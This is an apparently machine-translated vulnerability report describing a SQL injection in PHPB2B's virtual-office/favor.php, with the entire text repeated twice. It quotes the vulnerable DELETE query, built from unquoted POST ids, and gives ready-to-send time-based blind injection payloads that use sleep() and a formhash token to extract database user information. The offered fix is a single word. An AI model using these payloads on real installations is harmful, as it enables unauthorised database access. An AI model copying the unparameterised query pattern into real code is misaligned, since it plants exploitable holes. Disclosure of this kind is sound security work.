PHPB2B SQL Injection #6
PHPB2B SQL Injection #6
Latest version downloaded from the official website
Virtual-office/favor. php
1-24 rows
<?php/** * [PHPB2B] Copyright (C) 2007-2099, Ualink Inc. All Rights Reserved. * The contents of this file are subject to the License; you may not use this file except in compliance with the License. * * @version $Revision: 2075 $ */require("../libraries/common.inc.php");require("room.share.php");uses("trade");$trade = new Trade();$trade_model = new Trades();if (isset($_POST['del'])) { pb_submit_check('id'); $ids = implode(",", $_POST['id']); $ids = "(".$ids.")"; $sql = "DELETE FROM {$tb_prefix}favorites WHERE id IN ".$ids." AND member_id=".$the_memberid; // var_dump($sql); // exit(); $res = $pdb->Execute($sql); if (!$res) { flash("action_failed"); }}
$ Ids = implode (",", $ _ POST ['id']);
$ Ids = "(". $ ids .")";
If an array is input, it is separated by commas (,) without single quotation marks, and can be injected directly. Ignore gpc.
Here is the delete type, which can be injected with a delay.
The demo is as follows:
Add a favorite before injection to ensure that there are records in the table.
Without any parameters.
Localhost/phpb2b/virtual-office/favor. php
Right-click to view the source code.
Search formhash
This is to prevent csrf from being used. We will submit it together during the injection later.
Then submit the data in post mode.
Del = 1 & id [] = 1) | if (1 = 1, sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32
Query user () Length
Del = 1 & id [] = 1) | if (length (user ()> 0), sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32
Delay successful
Del = 1 & id [] = 1) | if (length (user ()> 20), sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32
No Delay
The principle is clear. I will not continue the demonstration.
Latest version downloaded from the official website
Virtual-office/favor. php
1-24 rows
<?php/** * [PHPB2B] Copyright (C) 2007-2099, Ualink Inc. All Rights Reserved. * The contents of this file are subject to the License; you may not use this file except in compliance with the License. * * @version $Revision: 2075 $ */require("../libraries/common.inc.php");require("room.share.php");uses("trade");$trade = new Trade();$trade_model = new Trades();if (isset($_POST['del'])) { pb_submit_check('id'); $ids = implode(",", $_POST['id']); $ids = "(".$ids.")"; $sql = "DELETE FROM {$tb_prefix}favorites WHERE id IN ".$ids." AND member_id=".$the_memberid; // var_dump($sql); // exit(); $res = $pdb->Execute($sql); if (!$res) { flash("action_failed"); }}
$ Ids = implode (",", $ _ POST ['id']);
$ Ids = "(". $ ids .")";
If an array is input, it is separated by commas (,) without single quotation marks, and can be injected directly. Ignore gpc.
Here is the delete type, which can be injected with a delay.
The demo is as follows:
Add a favorite before injection to ensure that there are records in the table.
Without any parameters.
Localhost/phpb2b/virtual-office/favor. php
Right-click to view the source code.
Search formhash
This is to prevent csrf from being used. We will submit it together during the injection later.
Then submit the data in post mode.
Del = 1 & id [] = 1) | if (1 = 1, sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32
Query user () Length
Del = 1 & id [] = 1) | if (length (user ()> 0), sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32
Delay successful
Del = 1 & id [] = 1) | if (length (user ()> 20), sleep (3), 0) | member_id = 123% 23 & formhash = 70d974296e193c32
No Delay
The principle is clear. I will not continue the demonstration.
Solution:
Filter